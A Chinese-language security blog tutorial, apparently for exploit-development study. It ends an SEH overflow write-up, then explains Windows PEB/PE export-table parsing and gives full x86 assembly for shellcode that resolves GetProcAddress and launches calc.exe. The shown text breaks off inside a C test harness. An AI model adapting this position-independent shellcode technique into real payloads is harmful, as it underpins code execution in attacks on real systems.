注意看,没有使用add esp,0xdc,因为机器码带有00,会截断:

seh

所以,需要将0xdc分两次加,每次要加的数不能超过0x80,原因:https://en.wikipedia.org/wiki/Signed_number_representations

最终:

seh

总结:推荐使用后一种方式,最后参考部分,有的文章直接远处跳转到shellcode地址,这个似乎有问题,至少在我这里每次shellcode地址不太一样。但是距离ESP的偏移是一样的。

参考:

1.https://epi052.gitlab.io/notes-to-self/blog/2020-05-19-osce-exam-practice-part-four/

2.https://fluidattacks.com/blog/vulnserver-gmon/

3.https://dunderhay.github.io/2019/02/07/gmon.html

4.https://dunderhay.github.io/2019/02/07/gmon.html

继上一篇《Create A Simple Linux Shellcode》之后,这里来探讨一下Windows下简单shellcode的编写。

WindowsLinux区别还是挺大的。Linux的函数调用只需要知道系统调用号,然后系统调用即可。Windows的函数与特定DLL相关,需要知道DLL特定导出函数的地址才能调用。在进一步进入shellcode编写之前,需要了解PEBPE的相关知识。

第一部分:PEB中某些重要的部分

TEBThread Environment Block,线程环境块)系统在此TEB中保存频繁使用的线程相关的数据。位于用户地址空间,在比 PEB 所在地址低的地方。用户模式下,当前线程的TEB位于独立的4KB段(页),可通过CPUFS寄存器来访问该段,一般存储在[FS:0x00]

PEBProcess Environment Block,进程环境块)存放进程信息,每个进程都有自己的PEB信息。位于用户地址空间。可在TEB结构地址偏移0x30处获得PEB的地址位置。

MSDN中关于TEB的结构的描述:TEB,不是很明确,更详细的可以参考_TEB。在windbg里面能够更直观的看到TEBPEB的关系。!teb扩展显示线程环境块(teb)中信息的格式化视图。

shellcode

看一下更清楚的结构:

shellcode

结合之前学习的SEH BOF利用,这里FS:[0x00]是指向SEH链的指针。可以看到PEB的指针在0x30的位置。MSDN中关于PEB的结构描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;

定义里面有很多保留字段,在windbg中,我们来更直观的看一下:

shellcode

这里重点关注一下其中的成员Ldr,其结构是_PEB_LDR_DATA,来看下MSDN关于它的定义:

1
2
3
4
5
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

包含有关该进程加载过程的信息。还是在windbg里面看一下:

shellcode

可以看到这里,除了文档InMemoryOrderModuleList,实际还有两个:InLoadOrderModuleListInInitializationOrderModuleList。这个其实是模块在不同状态的顺序

InLoadOrderModuleList 指的是模块加载的顺序

InMemoryOrderModuleList指的是在内存的排列顺序

InInitializationOrderModuleLists 指的是模块初始化装载顺序。

继续看一下InMemoryOrderModuleList的作用:双向链表的头部包含进程的加载模块。链表的每一个都是指向LDR_DATA_TABLE_ENTRY结构的指针。来看一下LDR_DATA_TABLE_ENTRY这个结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID EntryPoint;
PVOID Reserved3;
UNICODE_STRING FullDllName;
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

看下来有点迷糊,在windbg里面一步一步查看:这里选择跟进InMemoryOrderModuleList指向的结构:

第一个指向程序本身:(我这里加载的是本机的Calculator.exe

shellcode

根据MSDN规定LIST_ENTRY的结构,其中有两个成员:FlinkBlink,他们分别指向一个LDR_DATA_TABLE_ENTRY 结构。各个LIST_ENTRY的第一个填充就是链表的Flink,指向下一个链表节点,第二个填充的是链表的Blink,指向前一个链表节点。这里看着有点迷糊。

第一个:

shellcode

第二个:

shellcode

shellcode

第三个:

shellcode

shellcode

3月28日补充:上面查看的时候,没有进行偏移计算,所以得到的结果是错误的,之前还疑惑为啥会出现地址不可访问,原来是解析地址给错了。其实,这个Flink既指向双向链表的下一个LIST_ENTRY结构,同时也指向LDR_DATA_TABLE_ENTRY 这个结构中具体的链,这样就解释了为什么windbg可以用同一个地址去解析两个不同的结构,在解析的时候要根据其使用的链在LDR_DATA_TABLE_ENTRY结构中的偏移,得到正确的指向LDR_DATA_TABLE_ENTRY结构的地址。在windbg中看下LDR_DATA_TABLE_ENTRY结构描述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
0:023> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING
+0x02c BaseDllName : _UNICODE_STRING
+0x034 FlagGroup : [4] UChar
+0x034 Flags : Uint4B
+0x034 PackagedBinary : Pos 0, 1 Bit
+0x034 MarkedForRemoval : Pos 1, 1 Bit
+0x034 ImageDll : Pos 2, 1 Bit
+0x034 LoadNotificationsSent : Pos 3, 1 Bit
+0x034 TelemetryEntryProcessed : Pos 4, 1 Bit
+0x034 ProcessStaticImport : Pos 5, 1 Bit
+0x034 InLegacyLists : Pos 6, 1 Bit
+0x034 InIndexes : Pos 7, 1 Bit
+0x034 ShimDll : Pos 8, 1 Bit
+0x034 InExceptionTable : Pos 9, 1 Bit
+0x034 ReservedFlags1 : Pos 10, 2 Bits
+0x034 LoadInProgress : Pos 12, 1 Bit
+0x034 LoadConfigProcessed : Pos 13, 1 Bit
+0x034 EntryProcessed : Pos 14, 1 Bit
+0x034 ProtectDelayLoad : Pos 15, 1 Bit
+0x034 ReservedFlags3 : Pos 16, 2 Bits
+0x034 DontCallForThreads : Pos 18, 1 Bit
+0x034 ProcessAttachCalled : Pos 19, 1 Bit
+0x034 ProcessAttachFailed : Pos 20, 1 Bit
+0x034 CorDeferredValidate : Pos 21, 1 Bit
+0x034 CorImage : Pos 22, 1 Bit
+0x034 DontRelocate : Pos 23, 1 Bit
+0x034 CorILOnly : Pos 24, 1 Bit
+0x034 ChpeImage : Pos 25, 1 Bit
+0x034 ReservedFlags5 : Pos 26, 2 Bits
+0x034 Redirected : Pos 28, 1 Bit
+0x034 ReservedFlags6 : Pos 29, 2 Bits
+0x034 CompatDatabaseProcessed : Pos 31, 1 Bit
+0x038 ObsoleteLoadCount : Uint2B
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x044 TimeDateStamp : Uint4B
+0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
+0x04c Lock : Ptr32 Void
+0x050 DdagNode : Ptr32 _LDR_DDAG_NODE
+0x054 NodeModuleLink : _LIST_ENTRY
+0x05c LoadContext : Ptr32 _LDRP_LOAD_CONTEXT
+0x060 ParentDllBase : Ptr32 Void
+0x064 SwitchBackContext : Ptr32 Void
+0x068 BaseAddressIndexNode : _RTL_BALANCED_NODE
+0x074 MappingInfoIndexNode : _RTL_BALANCED_NODE
+0x080 OriginalBase : Uint4B
+0x088 LoadTime : _LARGE_INTEGER
+0x090 BaseNameHashValue : Uint4B
+0x094 LoadReason : _LDR_DLL_LOAD_REASON
+0x098 ImplicitPathOptions : Uint4B
+0x09c ReferenceCount : Uint4B
+0x0a0 DependentLoadFlags : Uint4B
+0x0a4 SigningLevel : UChar

通过以上这个结构,就好理解了。具体来分析一下,省略了一些步骤,以下面获取的_PEB_LDR_DATA地址和结构作为后续分析InMemoryOrderModuleList链的基础。

shellcode

注意InMemoryOrderModuleList的指针在LDR_DATA_TABLE_ENTRY结构中的偏移0x08。所以第一个为:

shellcode

第二个:

shellcode

shellcode

第三个:

shellcode

shellcode

借用别人的图,来直观感受一下:

shellcode

借用别人写的程序来说明

InLoadOrderModuleList

InMemoryOrderModuleList

InInitializationOrderModuleLists

三者加载模块的顺序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#include<stdio.h>
#include<windows.h>

typedef struct UNICODE_STRING
{
USHORT _ength;
USHORT MaximumLength;
PWSTR Buffer;
}UNICODE_STRING, * PUNICODE_STRING;

typedef struct PEB_LDR_DATA {
ULONG Length;
BOOLEAN initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;

}PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
void* BaseAddress;
void* EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
HANDLE SectionHandle;
ULONG CheckSum;
ULONG TimeDateStamp;
}MY_LDR_MODULE, * PLDR_MODULE;

int main()
{
PEB_LDR_DATA* pEBLDR;
MY_LDR_MODULE* pLdrMod;
PLDR_MODULE PLdr;
LIST_ENTRY* pNext, * pStart;
_asm
{
mov eax, fs: [0x30]
mov eax, [eax + 0xC]
mov pEBLDR, eax
}
printf("GetModuleHandle Kernel32:0x%08x\n", GetModuleHandle("Kernel32"));
printf("GetModuleHandle ntdll:0x%08x\n", GetModuleHandle("ntdll"));
printf("--------------------------------------------------------------------------\n");
printf("PEB_LDR_DATA:0x%08x\n", pEBLDR);
printf("LDR->InLoadOrderModuleList:\t\t0x%08x\n", pEBLDR->InLoadOrderModuleList);
printf(">>>InLoadOrderModuleList<<<\n");
printf("BaseAddress\t\t BaseDllName\n================================================\n");
pNext = (LIST_ENTRY*)&(pEBLDR->InLoadOrderModuleList);
pStart = pNext;
do
{
pNext = pNext->Flink;
pLdrMod = (MY_LDR_MODULE*)pNext;
printf("0x%08x\t\t", pLdrMod->BaseAddress);
wprintf(L"%s\n", pLdrMod->BaseDllName.Buffer);

} while (pNext != pStart);

printf("LDR->InMemoryOrderModuleList:\t\t0x%08x\n", pEBLDR->InMemoryOrderModuleList);
printf("BaseAddress\t\t BaseDllName\n================================================\n");
pNext = (LIST_ENTRY*)&(pEBLDR->InMemoryOrderModuleList);
pStart = pNext;
do
{
pNext = pNext->Flink;
pLdrMod = CONTAINING_RECORD(pNext, LDR_DATA_TABLE_ENTRY, InMemoryOrderModuleList);
printf("0x%08x\t\t", pLdrMod->BaseAddress);
wprintf(L"%s\n", pLdrMod->BaseDllName.Buffer);
} while (pNext != pStart);

printf("LDR->InInitializationOrderModuleList:\t0x%08x\n", pEBLDR->InInitializationOrderModuleList);
printf("BaseAddress\t\t BaseDllName\n================================================\n");
pNext = (LIST_ENTRY*)&(pEBLDR->InInitializationOrderModuleList);
pStart = pNext;

do
{
pNext = pNext->Flink;
pLdrMod = CONTAINING_RECORD(pNext, LDR_DATA_TABLE_ENTRY, InInitializationOrderModuleList);
printf("0x%08x\t\t", pLdrMod->BaseAddress);
wprintf(L"%s\n", pLdrMod->BaseDllName.Buffer);
} while (pNext != pStart);
getchar();
}

shellcode

发现InLoadOrderModuleListInMemoryOrderModuleList,前3DLL无论内容还是顺序都是完全一样的。而InInitializationOrderModuleLists则在不同Window版本存在差异,故一般不选用这个内存顺序的方式。

利用InMemoryOrderModuleList的顺序来搜索KERNEL32.DLL的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <Windows.h>
#include <stdio.h>

int main()
{
unsigned int address;
__asm {
xor eax, eax
mov eax, fs: [eax + 30h] ; 指向PEB的指针
mov eax, [eax + 0ch]; 指向PEB_LDR_DATA的指针
mov eax, [eax + 14h]; 根据PEB_LDR_DATA得出InLoadOrderModuleList的Flink字段
mov esi, [eax];
lodsd;
mov eax, [eax + 10h]; Kernel.dll的基地址
mov address, eax;
}
printf("0x:%p\n", address);
HANDLE kernelA = LoadLibrary(L"kernel32.dll");
printf("0x:%p\n", kernelA);
system("pause");
return 0;
}

shellcode

第二部分:PE文件中某些重要的部分

先来看一下PE文件的格式:(这里讨论的是32位系统下的PE格式)

shellcode

结合另一个图一起看:

shellcode

先来看一下DOS Header:查看winnt.h文件(本机位置:C:\Program Files\Windows Kits\10\Include\10.0.19041.0\um\winnt.h

或者访问:https://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

这里主要关注e_lfanew,它在偏移0x3c处,保存PE头相对于文件的偏移地址,这可以让我们到达PE头,接下来看一下PE头的结构:https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_nt_headers32

1
2
3
4
5
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

来继续看一下IMAGE_OPTIONAL_HEADER32的结构:https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

这里,我们主要关注结构体中的IMAGE_DATA_DIRECTORY类型,这里的IMAGE_NUMBEROF_DIRECTORY_ENTRIES是一个常量,为16。来看一下IMAGE_DATA_DIRECTORY的结构:https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_data_directory

1
2
3
4
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

其中DataDirectory的第一个元素指向导出表和导出表大小,其他的可以参照:

shellcode

看一下导出表的结构:https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#the-edata-section-image-only

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _IMAGE_EXPORT_DIRECTORY {
ULONG Characteristics;
ULONG TimeDateStamp;
USHORT MajorVersion;
USHORT MinorVersion;
ULONG Name;
ULONG Base;
ULONG NumberOfFunctions;
ULONG NumberOfNames;
ULONG AddressOfFunctions; // RVA from base of image
ULONG AddressOfNames; // RVA from base of image
ULONG AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

重点关注结构体中的最后三项:

AddressOfFunctions:指向的是整型数组,数组的个数由NumberOfFunctions来确定,如果数组元素的内容非0,那它就是一个导出函数的地址。

AddressOfNames:指向的也是一个整型数组,数组里面保存的是相应的函数名称的RVA,数组个数由NumberOfNames确定。

AddressOfNameOrdinals:指向的是短整型数组,数组里面保存的是序号。

三者关系如下所示:

shellcode

结合下图一起看:

shellcode

上面根据Name字段找到dll的文件名以后,使用LoadLibrarydll文件加载进内存,而为了找到相应的函数地址,还需要使用GetProcAddress函数来得到函数地址,而GetProcAddress函数可以使用字符串和序号的方式来获得函数地址。·

对于字符串的方式,首先是去AddressOfNames得到各个字符串的地址,然后在字符串的地址中找到相应的字符串,和GetProcAddress函数传入的字符串做比较,如果相等,则记录下这个相等的数组的下标,根据这个下标去AddressOfNameOrdinals中查找对应的下标中的序号值,得到的值就是作为数组AddressOfFunctions的索引来找到相应的函数地址。

另外一种是根据导出序号来查找函数,这个时候,GetProcAddress函数会首先将序号减去Base的值,得到AddressOfFunctions数组的索引,在根据这个索引来获得对应的函数的地址。

关于GetProcAddress,先看下这个:new-low-level-binaries。主要意思就是从kernel32.dll挪到了kernelbase.dll。我们来验证一下:

shellcode

或者用下面的方式:

shellcode

补充:后续发现kernel32.dll的导出表中能够找到GetProcAddress函数,只是它的调用有一些变化,具体可以参照:windbg-help-missing-kernel32-function中介绍的分析方法。所以在shellcode编写的时候,在kernel32.dll或者在kernelbase.dll中的导出表找GetProcAddress都可。

接下来,在windbg中来直观的展示一下。以kernelbase.dll为例:

shellcode

查看kernelbase.dll文件头信息:

shellcode

我们主要看导出表的信息:

shellcode

来看一下CFF Explorer打开的的kernelbase.dll中导出表的部分信息:

shellcode

结合上面两张图,我们来演示根据函数名来找到函数地址,以AccessCheck函数为例:

上面这张表显示:AccessCheck函数名的RVA001ca3cd,从下面这个表中可以看到001ca3cd在数组AddressOfNames中的第一个位置。

shellcode

AddressOfNameOrdinals数组中查看第一个位置的值,为函数序号,这里在显示的时候,因为AddressOfNameOrdinals为双字节,所以使用dw

shellcode

可以看到第一个位置的序号为0006,注意看CFF Explorer中也是0006。接下来到AddressOfFunctions数组中找到第七个位置的值(数组的下标以0开始):

shellcode

结合反汇编代码和CFF Explorer的值,都是一一对应的。

再看一下前面CFF Explorer打开的的kernelbase.dll中导出表部分信息的截图,发现序号00000005windbgAddressOfNameOrdinals数组中没有体现出来。未深究。

第三部分:简单shellcode的编写

了解完PEBPE的必要信息之后,终于进入shellcode编写的部分了。

编写shellcode的一般步骤是:(这里以弹计算器为例)

1.找到kernel32.dll(或者kernelbase.dll)加载到内存的基址

2.找到kernel32.dll(或者kernelbase.dll)的导出表

3.在导出表中找到GetProcAddressRVA,并结合kernel32.dll(或者kernelbase.dll)的基址算出GetProcAddress的实际地址

4.利用GetProcAddress函数找到CreateProcessA函数的地址

5.调用CreateProcessA函数来加载calc.exe

6.利用GetProcAddress函数找到ExitProcess函数的地址

7.调用ExitProcess函数

下面来分布展示和分析汇编代码。

寻找kernel32.dll的基址:

1
2
3
4
5
6
7
8
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address

寻找kernel32.dll的导出表:

1
2
3
4
5
6
7
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0

寻找GetProcAddress函数的名字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GetFunction :

inc ecx //increment counter
lodsd //Get name offset
add eax, ebx //Get function name
cmp [eax], 0x50746547 //"PteG"
jnz short GetFunction //jump to GetFunction label if not "GetP"
cmp [eax + 0x4], 0x41636F72 //"rocA"
jnz short GetFunction //jump to GetFunction label if not "rocA"
cmp [eax + 0x8], 0x65726464 //"ddre"
jnz short GetFunction //jump to GetFunction label if not "ddre"

mov esi, dword ptr ds:[edx + 0x24] //ESI = Offset ordinals
add esi, ebx //ESI = Ordinals table
mov cx, word ptr ds:[esi + ecx * 2] //CX = Number of function
dec ecx //Decrement the ordinal
mov esi, dword ptr ds:[edx + 0x1C] //ESI = Offset address table
add esi, ebx //ESI = Address table
mov edx, dword ptr ds:[esi + ecx * 4] //EDX = Pointer(offset)
add edx, ebx //EDX = GetProcAddress

上面这段汇编代码中,带GetFuncion标识符这段用于在AddressOfNames数组中查找等于GetProcAddress字符串的数组下标,注意循环查找的时候,首先inc ecx,也就是说如果是第一个则ecx1,与我们平常知道的C语言数据下标从0开始有点不同。GetProcAddress四个字符一组,转换为十六进制,分三部进行比较。之前让我疑惑很久的地方在mov cx, word ptr ds:[esi + ecx * 2]这句汇编指令,为何是ecx*2,因为AddressOfNameOrdinals每一项是2个字节。因为数组都第一个值得下标为0,其实这里会指向实际下标之后的一个,不过因为AddressOfNameOrdinals数组的每一个值都是前一个值加1,所以先取值再减1也可。可以先dec ecx再进行mov cx, word ptr ds:[esi + ecx * 2],这样会比较好理解。

利用GetProcAddress函数找到CreateProcessA函数的地址:

1
2
3
4
5
6
7
8
9
10
11
xor ecx, ecx                    ; zeroing ECX
push ebx ; kernel32 base address
push edx ; GetProcAddress
push 0x61614173 ; aaAs
sub word [esp + 0x2], 0x6161 ; aaAs - aa
push 0x7365636f ; seco
push 0x72506574 ; rPet
push 0x61657243 ; aerC
push esp ; push the pointer to stack
push ebx
call edx ; call getprocAddress

注意这里有个trick

1
2
push 0x61614173	                ; aaAs
sub word [esp + 0x2], 0x6161 ; aaAs - aa

因为CreateProcessA字符串每4个一组,最后会剩余sA2个字符,所以先增加2a,然后再减掉,还能在最后增加两个00,变成字符串结尾符。

以上执行完成之后,eax中保存CreateProcessA的函数地址。

来看一下CreateProcessA函数的基本用法,看下MSDN的介绍:

1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);

主要在最后两个参数,分别指向STARTUPINFOPROCESS_INFORMATION两个结构体。因为这两个结构体的存在,汇编代码需要开辟一块区域,就是为了这两个结构体指针指向它。看汇编代码:

1
2
3
4
5
6
7
8
9
; for 'lpProcessInformation' and 'lpStartupInfo'
xor ecx, ecx ; zero out counter register
mov cl, 0xff ; we ll loop 255 times (0xff)
xor edi, edi ;edi now 0x00000000

zero_loop:

push edi; place 0x00000000 on stack 255 times
loop zero_loop; as a way to 'zero memory'

接下来就是保存calc这个字符串了。因为前面已经开辟了一块区域,切都置为0,所以这里直接把calc的十六进按小端序压入栈即可。然后参照之前介绍的CreateProcessA函数的用法,完成栈数据的布局。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
push 0x636c6163  				;calc	
mov ecx, esp ;stack pointer to 'calc'


push ecx ; processinfo pointing to 'calc' as a struct argument
push ecx ; startupinfo pointing to 'calc' as a struct argument
xor edx, edx ; zero out
push edx ; NULLS
push edx
push edx
push edx
push edx
push edx
push ecx ; 'calc'
push edx
call eax ; call CreateProcessA and spawn calc

最后,为了能够正常退出,调用了ExitProcess函数,不再解释,按照之前寻找函数的方式进行即可。

1
2
3
4
5
6
7
8
9
10
11
push 0x61737365	            ; asse
sub word ptr [esp + 0x3], 0x61 ; asse -a
push 0x636F7250 ; corP
push 0x74697845 ; tixE
push esp
push ebx
call esi

xor ecx, ecx
push ecx
call eax

整合以上所有代码,最终的汇编代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = kernel32 Base address



mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0




GetFunction :

inc ecx ;increment counter
lodsd ;Get name offset
add eax, ebx ;Get function name
cmp [eax], 0x50746547 ;"PteG"
jnz short GetFunction ;jump to GetFunction label if not "GetP"
cmp [eax + 0x4], 0x41636F72 ;"rocA"
jnz short GetFunction ;jump to GetFunction label if not "rocA"
cmp [eax + 0x8], 0x65726464 ;"ddre"
jnz short GetFunction ;jump to GetFunction label if not "ddre"

mov esi, dword ptr ds:[edx + 0x24] ;esi = Offset ordinals
add esi, ebx ;esi = Ordinals table
mov cx, word ptr ds:[esi + ecx * 2] ;cx = Number of function
dec ecx ;Decrement the ordinal
mov esi, dword ptr ds:[edx + 0x1C] ;esi = Offset address table
add esi, ebx ;esi = Address table
mov edx, dword ptr ds:[esi + ecx * 4] ;edx = Pointer(offset)
add edx, ebx ;edx = GetProcAddress
mov esi, edx ;esi = GetProcAddress



xor ecx, ecx ; zeroing ecx
push ebx ; kernel32 base address
push edx ; GetProcAddress
push 0x61614173 ; aaAs
sub word ptr [esp + 0x2], 0x6161 ; aaAs - aa
push 0x7365636f ; seco
push 0x72506574 ; rPet
push 0x61657243 ; aerC
push esp ; push the pointer to stack
push ebx
call edx ; call getprocAddress


; for 'lpProcessInformation' and 'lpStartupInfo'
xor ecx, ecx ; zero out counter register
mov cl, 0xff ; we ll loop 255 times (0xff)
xor edi, edi ;edi now 0x00000000

zero_loop:

push edi; place 0x00000000 on stack 255 times
loop zero_loop; as a way to 'zero memory'



push 0x636c6163 ;calc
mov ecx, esp ;stack pointer to 'calc'


push ecx ; processinfo pointing to 'calc' as a struct argument
push ecx ; startupinfo pointing to 'calc' as a struct argument
xor edx, edx ; zero out
push edx ; NULLS
push edx
push edx
push edx
push edx
push edx
push ecx ; 'calc'
push edx
call eax ; call CreateProcessA and spawn calc



push 0x61737365 ; asse
sub word ptr [esp + 0x3], 0x61 ; asse -a
push 0x636F7250 ; corP
push 0x74697845 ; tixE
push esp
push ebx
call esi

xor ecx, ecx
push ecx
call eax

写一个程序先测试,看是否成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#include <windows.h>

int main(int argc, char* argv[])
{

_asm
{

xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = kernel32 Base address



